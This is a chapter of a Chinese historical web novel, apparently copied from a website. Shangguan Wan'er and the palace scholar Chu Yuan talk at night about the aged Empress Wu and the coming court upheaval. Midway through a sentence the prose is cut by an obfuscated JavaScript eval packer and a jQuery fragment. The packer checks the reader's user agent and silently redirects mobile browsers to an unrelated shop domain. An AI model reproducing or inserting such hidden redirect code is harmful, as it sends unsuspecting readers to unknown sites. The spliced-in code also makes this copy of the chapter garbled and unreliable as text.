71. 第 71 章
    “你现在也叫我昭容了。”上官婉儿已去了满头的钗环,卸开缠着假发的发髻,只挽了个矮髻,插了把金梳,卸去华服与脂粉,露出一张俏丽精致但疲惫的女子面容,“我还是怀念你从前叫我姑姑的日子。”

    褚沅低头温声道:“昭容,礼不可废。”

    上官婉儿的神情几无变化:“罢了,雪停了,你陪我走走吧。”

    她们各自披着一件厚重的斗篷,缓步走在深夜的雪地里。雪光反着月光,映照着天空像白昼一样。亭台楼阁里的灯都熄灭了,只留下两个行走在黑夜里的清冷的影子。

    “你回长安也有几个月了吧?我已经和皇后娘娘议过了,仍旧让你执掌内学馆,并为圣上制诰。”上官婉儿道,“你的才学人品,其实并不在我之下,只是缺少了发挥的机会。”

    “谢过昭容。”褚沅低头答过,静静地等待着上官婉儿真正想问的那句话。她们穿过月亮升起的密林小径,走过蜿蜒曲折的回廊,坐到临湖的水榭旁。天色很好,一丝风也没有,只有月光照着昆明池上碧波万顷,波光粼粼。

    上官婉儿比褚沅想象得更能沉得住气,她们闲散地聊过宫里的人事变化,新建的庙宇,才绕到正题上:“女皇可有什么话提起我?”

    女皇已经去了帝号,但在只有两个人的场合之中,她们还是不约而同地依旧称呼武则天为女皇。

    “提过。”褚沅低下头笑了,“只怕昭容不一定愿意听。”

    “她很恨我吧?”上官婉儿轻轻叹息了一声,即使是□□如上官婉儿,也无法准确地知道,她自己是怎么看待这位让她家破人亡,又给了她无限权势的女皇。于是她便更无法知道,在听说女皇恨她时,她心底那一点深切的释然是什么原因。

    褚沅摇了摇头:“说句实在话,昭容不要生气。我去上阳宫的时候,女皇已经老了。”

    “八十岁的人了,也难怪.......”上官婉儿叹了口气,女皇的疲惫和老态在长安年间已经是不需要讨论的话题,否则也不会有那场轰轰烈烈的宫变了。

    “我去见她的时候,她老人家已经如寻常的老人一般,时而清醒,时而糊涂。清醒的时候,她给我讲述过往的人和事,还提到我的曾祖和父亲.......”

    褚沅望着碧波万顷的湖水,眼神中有一点凄然:

    “她说她知道曾祖褚公并无谋私之意,只是放不下太宗文皇帝生前对他的知遇之恩。所以才会反对她成为皇后。可当时她别无选择,只有将我们褚家赶尽杀绝,才能以儆效尤,镇住朝中那些臣子。”

    “所以,她说她也不恨我们。在权力的战场上,输了就是输了。输家便注定会失去一切。”褚沅轻轻一笑,似乎是在自嘲,“但她糊涂的时候,也几度大喊大叫,要以女皇的名义叫我们去把那些逼宫犯上的人都杀了,抄家灭族。”

    “竟然是这样。”上官婉儿深深地叹了一声,“生老病死,天意如此,果然不是人力所能为啊。”她似乎想要说什么,但又没法对着褚沅这样一个小了她二十来岁的小姑娘说,只用手怜惜地摸一摸她的脸颊:

    “我听说,这几天崔湜总来烦你,他还在为上次天牢里的事情和你过不去?”

    褚沅点了点头,她知道上官婉儿格外欣赏崔湜的英俊温存,为此可以忽略他身上的浅薄、自大和狠毒:“当年虽说是奉皇命,但情急之下动了手,确实是奴婢做得不对。”

    “什么对不对的,你奉皇命行事,不是他能够阻拦的。”上官婉儿冷笑一声,“这些浅薄的男人们.......不管你是不是权倾朝野,是不是满腹经纶,在他们眼里,你永远只有一个身份——女人。区别不过你是他们自己的女人,还是他们的主上的女人。”

    褚沅不知道上官婉儿为什么要说这样的话,她抬起眼睛望了一眼上官婉儿:“昭容的意思是.......希望我入宫为妃吗?”

    “早几个月,你还没做郡君的时候,或许我会这么做。”上官婉儿摇了摇头,“但现在你以侍奉女皇的孝行继承了家族的爵位,便如陛下的晚辈一般——再纳你进宫,陛下成什么人了?”

    她望着褚沅一脸不解的神色,忍不住笑了一声:“说些高兴的事情吧,听说你之前见了太子詹事裴伷先。他和从前兵部的那个洛北关系不错吧?”

    这是在试探褚沅为何和宫外的人联络。褚沅不紧不慢,不慌不忙地回答:“是,裴伷先是洛北的朋友,也是位西域的商人。马上要到皇后娘娘的生辰,奴婢找他筹措些贺礼。”

    “是么?”上官婉儿的一双美眸立刻望了过来。

    “也找他问了问洛公子的消息。”褚沅佯作不好意思地别过脸去,她知道作为她的血亲,洛北并不喜欢自己被扯到这些儿女情长的事情里去。

    但她一个宫女要见外臣,既不能是无端打听朝堂大事,也不能是干预朝政,那除了这一点小儿女的情思,她还有什么理由能名正言顺地和外人交谈?

    上官婉儿见她神情,脸上不由得浮现出一抹笑意。她曾经在见过洛北在马球场上打马球,他身材修长,身形飘逸,容貌俊美昳丽,简直把在场的一堆王公贵胄都比了下去:

    “这在我这里不是什么大事,不用这样扭扭捏捏。你后来去了洛阳,他外放去了鸣沙县,想来有一年左右没有再见了。你挂心他,也是常理。”她上官婉儿在褚沅的年纪时,又何尝没有为远行的人挂心过呢?

    褚沅点了点头,还是不敢继续说话。

    上官婉儿只得把神情放得更温软些:“日后,边塞军务的奏折和诰命,你同我一道处理吧。圣上说过,这个人不懂朝务,但对边塞之事,倒是有些见地。很应该在边塞历练历练。”

    褚沅颔首,脸上露出惊喜神色:“谢昭容。”

    “叫我声姑姑吧。”上官婉儿道。

    “是,姑姑。”褚沅低声应了,又轻声道:“奴婢有句话,不知当讲不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281693|151857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当讲。”

    “话都说到这里了,还有什么当讲不当讲的。说吧,说吧,今晚说完,日后就不要再对其他人说了。”上官婉儿笑意盈盈,以为褚沅要对她说些小儿女的心思。

    “按着如今的朝局,朝廷动荡在即,昭容应当早做打算才是。”褚沅温声道。

    上官婉儿的笑容一下子就收敛了:“你这话是什么意思?”

    “在上阳宫时,女皇清醒的时候,也痛骂过武家子弟的不争气。她费尽心机,想要武家在军队之中占据一席之地,但每一次出去打仗,他们都是大败而归。不仅给自己丢了脸,也让武家在军队中失了民心。”褚沅轻声道:

    “如今武三思权势滔天不假,可.......他依旧没有能够掌控军队。李唐宗室和大臣们或许会因为女皇是李唐的媳妇和母亲容忍她,可不会因为武三思是女皇的外戚就容忍武三思。再这样下去,长安城中的流血又将会开始。昭容自己要早做打算才是。”

    上官婉儿深深叹了口气,她知道褚沅在向她暗示一番何等可怕的场景:

    长安城的禁军再次被人调动起来杀向宫禁,他们高喊着杀乱党,除君侧的口号。目标名单上有武三思,有宋之问,有周利贞——还有她,上官婉儿:“不,我只是奉命写诏,难道他们要我抗旨吗?.......”

    “姑姑不要忘了,当年张柬之等人在的时候,想要弹劾武三思。奏疏竟无一个人敢写。后来是中书舍人岑羲挺身而出。岑羲提笔写出之后,满朝文武也没有一个人敢当堂宣读,还是中书舍人毕构担当大义,出列宣读。可后来武三思当权,将这两人都贬官外放。”

    褚沅顿了顿,又看向上官婉儿,她应当很清楚地记得这件事情——因为当时驳斥岑羲奏疏的诏书,正是眼前这位上官昭容亲笔撰写:“姑姑......前事不忘,后事之师啊。”

    上官婉儿深深地叹了口气,什么都没有说下去,只望着湖面,静静沉思,直到褚沅以为她不再会开口讲话的时候,她才喃喃地道:“再过几日,过几日我去拜访太平公主殿下。我有些事情,可以和她说说。”

    褚沅点了点头,上官婉儿和太平公主是幼年相交,自李显登基之后才有了些嫌隙,只要及时弥补,再加上利益一致,她们总能重修旧好。这对李唐派来说,会是件大大的好事。

    “你同我一道去吧。”上官婉儿道,“公主殿下,或许也想听听女皇的事情。”

    褚沅低头应了。湖上风微微地吹动她鬓边的银雪柳,轻轻地飘摇着。

    “起风了,咱们回去吧。”上官婉儿紧了紧披风,率先迈步往宫中走去。

    她们走到回廊之上,外头忽而一阵兵荒马乱,上官婉儿紧了紧衣裳,带着褚沅赶到正堂,一个下人低着头,说要请德静郡王回府议事。

    “大半夜的,出了什么事?”上官婉儿问。

    “灵州八百内送来的急递,突厥大军寇边,已到了鸣沙!”